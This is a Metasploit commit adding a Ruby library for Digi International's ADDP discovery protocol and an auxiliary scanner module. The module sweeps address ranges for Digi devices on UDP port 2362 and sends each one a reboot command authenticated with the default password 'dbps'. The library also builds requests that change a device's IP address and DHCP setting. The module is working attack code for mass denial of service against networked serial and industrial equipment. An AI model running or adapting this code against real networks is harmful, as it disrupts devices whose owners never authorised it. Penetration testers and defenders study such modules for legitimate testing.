Skip to content

Commit 3a42eb3

Browse files
author
HD Moore
committed
New modules and library for the ADDP protocol
1 parent 19920b3 commit 3a42eb3

File tree

3 files changed

+520
-0
lines changed

3 files changed

+520
-0
lines changed

lib/rex/proto/addp.rb

Lines changed: 227 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,227 @@
1+
# -*- coding: binary -*-
2+
module Rex
3+
module Proto
4+
5+
#
6+
# This provides constants, encoding, and decoding routines for Digi International's ADDP protocol
7+
#
8+
class ADDP
9+
10+
require "rex/socket"
11+
12+
#
13+
# See the following URLs for more information:
14+
# - http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html
15+
# - http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29
16+
#
17+
18+
19+
MAGICS = %W{ DIGI DVKT DGDP }
20+
ERRORS = %W{ no_response unknown success authenticaton_failed unit_has_address invalid_value invalid_data unsupported_command }
21+
WLAN_ENC_MODES = %W{ unknown none wep40 wep128 }
22+
WLAN_AUTH_MODES = %W{ unknown open shared_key open_shared_key }
23+
HWTYPES = %W{
24+
unknown ps3_desk8 ps3_desk16 ps3_desk32 ps3_rack16 ps2_desk16 ps2_rack16
25+
lets_desk1 lets_desk2 lets_desk4 dorpia_dinrail1 nubox01 nubox02 nubox04
26+
digione_sp digione_ia digione_em
27+
}
28+
29+
CMD_CONF_REQ = 1
30+
CMD_CONF_REP = 2
31+
CMD_SET_ADDR_REQ = 3
32+
CMD_SET_ADDR_REP = 4
33+
CMD_REBOOT_REQ = 5
34+
CMD_REBOOT_REP = 6
35+
CMD_SET_DHCP_REQ = 7
36+
CMD_SET_DHCP_REP = 8
37+
CMD_SET_WL_REQ = 9
38+
CMD_SET_WL_REP = 10
39+
CMD_SET_WL_COUNTRIES_REQ = 11
40+
CMD_SET_WL_COUNTRIES_REP = 12
41+
CMD_EDP = 13
42+
CMD_CNT = 14
43+
44+
45+
46+
def self.mac2bin(mac)
47+
mac.split(":").map{|c| c.to_i(16) }.pack("C*")
48+
end
49+
50+
def self.bin2mac(bin)
51+
bin.unpack("C6").map{|x| "%.2x" % x }.join(":").upcase
52+
end
53+
54+
def self.encode_password(pwd="dbps")
55+
[pwd.length].pack("C") + pwd
56+
end
57+
58+
def self.request_config(magic, dmac="\xff\xff\xff\xff\xff\xff")
59+
mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac)
60+
req = magic + [ CMD_CONF_REQ, 6].pack("nn") + mac
61+
return req
62+
end
63+
64+
def self.request_config_all(dmac="\xff\xff\xff\xff\xff\xff")
65+
mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac)
66+
res = []
67+
MAGICS.each { |m| res << self.request_config(m, dmac) }
68+
return res
69+
end
70+
71+
def self.request_static_ip(magic, dmac, ip, mask, gw, pwd="dbps")
72+
mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac)
73+
buf =
74+
Rex::Socket.addr_aton(ip) +
75+
Rex::Socket.addr_aton(mask) +
76+
Rex::Socket.addr_aton(gw) +
77+
mac +
78+
self.encode_password(pwd)
79+
80+
req = magic + [CMD_SET_ADDR_REQ, buf.length].pack("nn") + buf
81+
return req
82+
end
83+
84+
def self.request_dhcp(magic, dmac, enabled, pwd="dbps")
85+
mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac)
86+
buf =
87+
[ enabled ? 1 : 0 ].pack("C") +
88+
mac +
89+
self.encode_password(pwd)
90+
91+
req = magic + [CMD_SET_DHCP_REQ, buf.length].pack("nn") + buf
92+
return req
93+
end
94+
95+
def self.request_reboot(magic, dmac, pwd="dbps")
96+
mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac)
97+
buf =
98+
mac +
99+
self.encode_password(pwd)
100+
101+
req = magic + [CMD_REBOOT_REQ, buf.length].pack("nn") + buf
102+
return req
103+
end
104+
105+
def self.decode_reply(data)
106+
res = {}
107+
r_magic = data[0,4]
108+
r_ptype = data[4,2].unpack("n").first
109+
r_plen = data[6,2].unpack("n").first
110+
buff = data[8, r_plen]
111+
bidx = 0
112+
113+
res[:magic] = data[0,4]
114+
res[:cmd] = r_ptype
115+
116+
while bidx < (buff.length - 2)
117+
i_type, i_len = buff[bidx, 2].unpack("CC")
118+
i_data = buff[bidx + 2, i_len]
119+
120+
break if i_data.length != i_len
121+
122+
case i_type
123+
when 0x01
124+
res[:mac] = self.bin2mac(i_data)
125+
when 0x02
126+
res[:ip] = Rex::Socket.addr_ntoa(i_data)
127+
when 0x03
128+
res[:mask] = Rex::Socket.addr_ntoa(i_data)
129+
when 0x04
130+
res[:hostname] = i_data
131+
when 0x05
132+
res[:domain] = i_data
133+
when 0x06
134+
res[:hwtype] = HWTYPES[ i_data.unpack("C").first ] || HWTYPES[ 0 ]
135+
when 0x07
136+
res[:hwrev] = i_data.unpack("C").first
137+
when 0x08
138+
res[:fwrev] = i_data
139+
when 0x09
140+
res[:msg] = i_data
141+
when 0x0a
142+
res[:result] = i_data.unpack("C").first
143+
when 0x0b
144+
res[:gw] = Rex::Socket.addr_ntoa(i_data)
145+
when 0x0c
146+
res[:advisory] = i_data.unpack("n").first
147+
when 0x0d
148+
res[:hwname] = i_data
149+
when 0x0e
150+
res[:realport] = i_data.unpack("N").first
151+
when 0x0f
152+
res[:dns] = Rex::Socket.addr_ntoa(i_data)
153+
when 0x10
154+
res[:dhcp] = (i_data.unpack("C").first == 0) ? false : true
155+
when 0x11
156+
res[:error] = ERRORS[ i_data.unpack("C").first ] || ERRORS[0]
157+
when 0x12
158+
res[:ports] = i_data.unpack("C").first
159+
when 0x13
160+
res[:realport_enc] = (i_data.unpack("C").first == 0) ? false : true
161+
when 0x14
162+
res[:version] = i_data.unpack("n").first
163+
when 0x15
164+
res[:vendor_guid] = i_data.unpack("H*") # GUID
165+
when 0x16
166+
res[:iftype] = i_data.unpack("C").first
167+
when 0x17
168+
res[:challenge] = i_data # Unknown format
169+
when 0x18
170+
res[:cap_port] = i_data.unpack("n").first
171+
when 0x19
172+
res[:edp_devid] = i_data.unpack("H*").first # Unknown format
173+
when 0x1a
174+
res[:edp_enabled] = (i_data.unpack("C").first == 0) ? false : true
175+
when 0x1b
176+
res[:edp_url] = i_data
177+
when 0x1c
178+
res[:wl_ssid] = i_data
179+
when 0x1d
180+
res[:wl_auto_ssid] = (i_data.unpack("n").first == 0) ? false : true
181+
when 0x1e
182+
res[:wl_tx_enh_power] = i_data.unpack("n").first
183+
when 0x1f
184+
res[:wl_auth_mode] = WLAN_AUTH_MODES[ i_data.unpack("n").first ] || WLAN_AUTH_MODES[ 0 ]
185+
when 0x20
186+
res[:wl_enc_mode] = WLAN_ENC_MODES[ i_data.unpack("n").first ] || WLAN_ENC_MODES[ 0 ]
187+
when 0x21
188+
res[:wl_enc_key] = i_data
189+
when 0x22
190+
res[:wl_cur_country] = i_data
191+
when 0x23
192+
res[:wl_country_list] = i_data
193+
else
194+
# Store unknown responses
195+
res["unknown_0x#{"%.2x" % i_type}".to_sym] = i_data
196+
end
197+
198+
bidx = bidx + 2 + i_len
199+
end
200+
return res
201+
end
202+
203+
def self.reply_to_string(res)
204+
str = ""
205+
206+
fields = [
207+
:hwname, :hwtype, :hwrev, :fwrev,
208+
:mac, :ip, :mask, :gw, :hostname, :domain, :dns, :dhcp,
209+
:msg, :result, :error,
210+
:advisory, :ports, :realport, :realport_enc,
211+
:version, :vendor_guid, :iftype, :challenge, :cap_port, :edp_devid, :edp_enabled,
212+
:edp_url, :wl_ssid, :wl_auto_ssid, :wl_tx_enh_power, :wl_auth_mode, :wl_enc_mode,
213+
:wl_enc_key, :wl_cur_country, :wl_country_list, :magic
214+
]
215+
216+
fields.each do |fname|
217+
next unless res.has_key?(fname)
218+
str << "#{fname}:#{res[fname]} "
219+
end
220+
return str
221+
end
222+
223+
end
224+
225+
end
226+
end
227+
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
13+
require 'msf/core'
14+
require 'rex/proto/addp'
15+
16+
class Metasploit3 < Msf::Auxiliary
17+
18+
include Msf::Auxiliary::Report
19+
include Msf::Auxiliary::Scanner
20+
21+
def initialize
22+
super(
23+
'Name' => 'Digi ADDP Remote Reboot Initiator',
24+
'Version' => '$Revision$',
25+
'Description' => 'Reboot Digi International based equipment through the ADDP service',
26+
'Author' => 'hdm',
27+
'References' =>
28+
[
29+
['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
30+
['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
31+
],
32+
'License' => MSF_LICENSE
33+
)
34+
35+
register_options(
36+
[
37+
Opt::CHOST,
38+
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
39+
Opt::RPORT(2362),
40+
OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps'])
41+
], self.class)
42+
end
43+
44+
45+
# Define our batch size
46+
def run_batch_size
47+
datastore['BATCHSIZE'].to_i
48+
end
49+
50+
def rport
51+
datastore['RPORT'].to_i
52+
end
53+
54+
# Fingerprint a single host
55+
def run_batch(batch)
56+
57+
print_status("Finding ADDP nodes within #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
58+
59+
@results = {}
60+
begin
61+
udp_sock = nil
62+
idx = 0
63+
64+
# Create an unbound UDP socket if no CHOST is specified, otherwise
65+
# create a UDP socket bound to CHOST (in order to avail of pivoting)
66+
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
67+
add_socket(udp_sock)
68+
69+
batch.each do |ip|
70+
begin
71+
72+
# Try all currently-known magic probe values
73+
Rex::Proto::ADDP.request_config_all.each do |pkt|
74+
udp_sock.sendto(pkt, ip, rport, 0)
75+
end
76+
77+
rescue ::Interrupt
78+
raise $!
79+
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
80+
nil
81+
end
82+
83+
if (idx % 30 == 0)
84+
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
85+
parse_reply(r)
86+
end
87+
end
88+
89+
idx += 1
90+
end
91+
92+
while (r = udp_sock.recvfrom(65535, 3) and r[1])
93+
parse_reply(r)
94+
end
95+
96+
queue = {}
97+
@results.each_pair do |ip,res|
98+
queue[ip] = res
99+
end
100+
@results = {}
101+
102+
queue.each_pair do |ip, res|
103+
info = Rex::Proto::ADDP.reply_to_string(res)
104+
print_status("#{ip}:#{rport} Sending reboot request to device with MAC #{res[:mac]}...")
105+
pkt = Rex::Proto::ADDP.request_reboot(res[:magic], res[:mac], datastore['ADDP_PASSWORD'])
106+
udp_sock.sendto(pkt, ip, rport, 0)
107+
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
108+
parse_reply(r)
109+
end
110+
end
111+
112+
while (r = udp_sock.recvfrom(65535, 5) and r[1])
113+
parse_reply(r)
114+
end
115+
116+
rescue ::Interrupt
117+
raise $!
118+
rescue ::Errno::ENOBUFS
119+
print_status("Socket buffers are full, waiting for them to flush...")
120+
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
121+
parse_reply(r)
122+
end
123+
select(nil, nil, nil, 0.25)
124+
rescue ::Exception => e
125+
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
126+
end
127+
end
128+
129+
130+
def parse_reply(pkt)
131+
# Ignore "empty" packets
132+
return if not pkt[1]
133+
134+
addr = pkt[1]
135+
if(addr =~ /^::ffff:/)
136+
addr = addr.sub(/^::ffff:/, '')
137+
end
138+
139+
data = pkt[0]
140+
141+
@results[addr] ||= {}
142+
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
143+
144+
if @results[addr][:cmd] == Rex::Proto::ADDP::CMD_REBOOT_REP
145+
print_status("#{addr}:#{rport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[addr]))
146+
end
147+
148+
return unless @results[addr][:magic] and @results[addr][:mac]
149+
end
150+
151+
152+
end

0 commit comments

Comments
 (0)